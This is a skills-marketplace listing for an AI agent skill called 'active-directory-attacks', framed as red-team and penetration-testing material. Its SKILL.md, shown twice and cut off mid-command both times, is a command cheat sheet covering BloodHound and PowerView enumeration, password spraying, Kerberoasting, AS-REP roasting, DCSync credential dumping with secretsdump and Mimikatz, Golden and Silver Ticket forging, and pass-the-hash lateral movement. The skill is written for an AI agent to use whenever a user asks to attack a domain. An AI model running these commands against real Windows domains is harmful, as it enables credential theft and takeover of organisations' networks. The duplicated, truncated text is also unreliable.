active-directory-attacks

Name: active-directory-attacks
Author: SamarthaKV29

64stars12forks

How to install active-directory-attacks?

samarthakv29/antigravity-god-mode/active-directory-attacks

$npx -y skills add SamarthaKV29/antigravity-god-mode --skill active-directory-attacks

Installs into the current project.

Summary

This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration", "Golden Ticket", "Silver Ticket", "AS-REP roasting", "NTLM relay", or needs guidance on Windows domain penetration testin

Files · 1

View on GitHub

SKILL.md

1	# Active Directory Attacks
2
3	## Purpose
4
5	Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
6
7	## Inputs/Prerequisites
8
9	- Kali Linux or Windows attack platform
10	- Domain user credentials (for most attacks)
11	- Network access to Domain Controller
12	- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
13
14	## Outputs/Deliverables
15
16	- Domain enumeration data
17	- Extracted credentials and hashes
18	- Kerberos tickets for impersonation
19	- Domain Administrator access
20	- Persistent access mechanisms
21
22	---
23
24	## Essential Tools
25
26	\| Tool \| Purpose \|
27	\|------\|---------\|
28	\| BloodHound \| AD attack path visualization \|
29	\| Impacket \| Python AD attack tools \|
30	\| Mimikatz \| Credential extraction \|
31	\| Rubeus \| Kerberos attacks \|
32	\| CrackMapExec \| Network exploitation \|
33	\| PowerView \| AD enumeration \|
34	\| Responder \| LLMNR/NBT-NS poisoning \|
35
36	---
37
38	## Core Workflow
39
40	### Step 1: Kerberos Clock Sync
41
42	Kerberos requires clock synchronization (±5 minutes):
43
44	```bash
45	# Detect clock skew
46	nmap -sT 10.10.10.10 -p445 --script smb2-time
47
48	# Fix clock on Linux
49	sudo date -s "14 APR 2024 18:25:16"
50
51	# Fix clock on Windows
52	net time /domain /set
53
54	# Fake clock without changing system time
55	faketime -f '+8h' <command>
56	```
57
58	### Step 2: AD Reconnaissance with BloodHound
59
60	```bash
61	# Start BloodHound
62	neo4j console
63	bloodhound --no-sandbox
64
65	# Collect data with SharpHound
66	.\SharpHound.exe -c All
67	.\SharpHound.exe -c All --ldapusername user --ldappassword pass
68
69	# Python collector (from Linux)
70	bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
71	```
72
73	### Step 3: PowerView Enumeration
74
75	```powershell
76	# Get domain info
77	Get-NetDomain
78	Get-DomainSID
79	Get-NetDomainController
80
81	# Enumerate users
82	Get-NetUser
83	Get-NetUser -SamAccountName targetuser
84	Get-UserProperty -Properties pwdlastset
85
86	# Enumerate groups
87	Get-NetGroupMember -GroupName "Domain Admins"
88	Get-DomainGroup -Identity "Domain Admins" \| Select-Object -ExpandProperty Member
89
90	# Find local admin access
91	Find-LocalAdminAccess -Verbose
92
93	# User hunting
94	Invoke-UserHunter
95	Invoke-UserHunter -Stealth
96	```
97
98	---
99
100	## Credential Attacks
101
102	### Password Spraying
103
104	```bash
105	# Using kerbrute
106	./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
107
108	# Using CrackMapExec
109	crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
110	```
111
112	### Kerberoasting
113
114	Extract service account TGS tickets and crack offline:
115
116	```bash
117	# Impacket
118	GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
119
120	# Rubeus
121	.\Rubeus.exe kerberoast /outfile:hashes.txt
122
123	# CrackMapExec
124	crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
125
126	# Crack with hashcat
127	hashcat -m 13100 hashes.txt rockyou.txt
128	```
129
130	### AS-REP Roasting
131
132	Target accounts with "Do not require Kerberos preauthentication":
133
134	```bash
135	# Impacket
136	GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
137
138	# Rubeus
139	.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
140
141	# Crack with hashcat
142	hashcat -m 18200 hashes.txt rockyou.txt
143	```
144
145	### DCSync Attack
146
147	Extract credentials directly from DC (requires Replicating Directory Changes rights):
148
149	```bash
150	# Impacket
151	secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt
152
153	# Mimikatz
154	lsadump::dcsync /domain:domain.local /user:krbtgt
155	lsadump::dcsync /domain:domain.local /user:Administrator
156	```
157
158	---
159
160	## Kerberos Ticket Attacks
161
162	### Pass-the-Ticket (Golden Ticket)
163
164	Forge TGT with krbtgt hash for any user:
165
166	```powershell
167	# Get krbtgt hash via DCSync first
168	# Mimikatz - Create Golden Ticket
169	kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
170
171	# Impacket
172	ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
173	export KRB5CCNAME=Administrator.ccache
174	psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
175	```
176
177	### Silver Ticket
178
179	Forge TGS for specific service:
180
181	```powershell
182	# Mimikatz
183	kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
184	```
185
186	### Pass-the-Hash
187
188	```bash
189	# Impacket
190	psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
191	wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
192	smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
193
194	# CrackMapExec
195	crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
196	crackmap

People who liked this also viewed

6 picks

Type

active-directory-attacks

64stars12forks

View on GitHub

How to install active-directory-attacks?

samarthakv29/antigravity-god-mode/active-directory-attacks

$npx -y skills add SamarthaKV29/antigravity-god-mode --skill active-directory-attacks

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# Active Directory Attacks
2
3	## Purpose
4
5	Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
6
7	## Inputs/Prerequisites
8
9	- Kali Linux or Windows attack platform
10	- Domain user credentials (for most attacks)
11	- Network access to Domain Controller
12	- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
13
14	## Outputs/Deliverables
15
16	- Domain enumeration data
17	- Extracted credentials and hashes
18	- Kerberos tickets for impersonation
19	- Domain Administrator access
20	- Persistent access mechanisms
21
22	---
23
24	## Essential Tools
25
26	\| Tool \| Purpose \|
27	\|------\|---------\|
28	\| BloodHound \| AD attack path visualization \|
29	\| Impacket \| Python AD attack tools \|
30	\| Mimikatz \| Credential extraction \|
31	\| Rubeus \| Kerberos attacks \|
32	\| CrackMapExec \| Network exploitation \|
33	\| PowerView \| AD enumeration \|
34	\| Responder \| LLMNR/NBT-NS poisoning \|
35
36	---
37
38	## Core Workflow
39
40	### Step 1: Kerberos Clock Sync
41
42	Kerberos requires clock synchronization (±5 minutes):
43
44	```bash
45	# Detect clock skew
46	nmap -sT 10.10.10.10 -p445 --script smb2-time
47
48	# Fix clock on Linux
49	sudo date -s "14 APR 2024 18:25:16"
50
51	# Fix clock on Windows
52	net time /domain /set
53
54	# Fake clock without changing system time
55	faketime -f '+8h' <command>
56	```
57
58	### Step 2: AD Reconnaissance with BloodHound
59
60	```bash
61	# Start BloodHound
62	neo4j console
63	bloodhound --no-sandbox
64
65	# Collect data with SharpHound
66	.\SharpHound.exe -c All
67	.\SharpHound.exe -c All --ldapusername user --ldappassword pass
68
69	# Python collector (from Linux)
70	bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
71	```
72
73	### Step 3: PowerView Enumeration
74
75	```powershell
76	# Get domain info
77	Get-NetDomain
78	Get-DomainSID
79	Get-NetDomainController
80
81	# Enumerate users
82	Get-NetUser
83	Get-NetUser -SamAccountName targetuser
84	Get-UserProperty -Properties pwdlastset
85
86	# Enumerate groups
87	Get-NetGroupMember -GroupName "Domain Admins"
88	Get-DomainGroup -Identity "Domain Admins" \| Select-Object -ExpandProperty Member
89
90	# Find local admin access
91	Find-LocalAdminAccess -Verbose
92
93	# User hunting
94	Invoke-UserHunter
95	Invoke-UserHunter -Stealth
96	```
97
98	---
99
100	## Credential Attacks
101
102	### Password Spraying
103
104	```bash
105	# Using kerbrute
106	./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
107
108	# Using CrackMapExec
109	crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
110	```
111
112	### Kerberoasting
113
114	Extract service account TGS tickets and crack offline:
115
116	```bash
117	# Impacket
118	GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
119
120	# Rubeus
121	.\Rubeus.exe kerberoast /outfile:hashes.txt
122
123	# CrackMapExec
124	crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
125
126	# Crack with hashcat
127	hashcat -m 13100 hashes.txt rockyou.txt
128	```
129
130	### AS-REP Roasting
131
132	Target accounts with "Do not require Kerberos preauthentication":
133
134	```bash
135	# Impacket
136	GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
137
138	# Rubeus
139	.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
140
141	# Crack with hashcat
142	hashcat -m 18200 hashes.txt rockyou.txt
143	```
144
145	### DCSync Attack
146
147	Extract credentials directly from DC (requires Replicating Directory Changes rights):
148
149	```bash
150	# Impacket
151	secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt
152
153	# Mimikatz
154	lsadump::dcsync /domain:domain.local /user:krbtgt
155	lsadump::dcsync /domain:domain.local /user:Administrator
156	```
157
158	---
159
160	## Kerberos Ticket Attacks
161
162	### Pass-the-Ticket (Golden Ticket)
163
164	Forge TGT with krbtgt hash for any user:
165
166	```powershell
167	# Get krbtgt hash via DCSync first
168	# Mimikatz - Create Golden Ticket
169	kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
170
171	# Impacket
172	ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
173	export KRB5CCNAME=Administrator.ccache
174	psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
175	```
176
177	### Silver Ticket
178
179	Forge TGS for specific service:
180
181	```powershell
182	# Mimikatz
183	kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
184	```
185
186	### Pass-the-Hash
187
188	```bash
189	# Impacket
190	psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
191	wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
192	smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
193
194	# CrackMapExec
195	crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
196	crackmap

People who liked this also viewed

6 picks

Type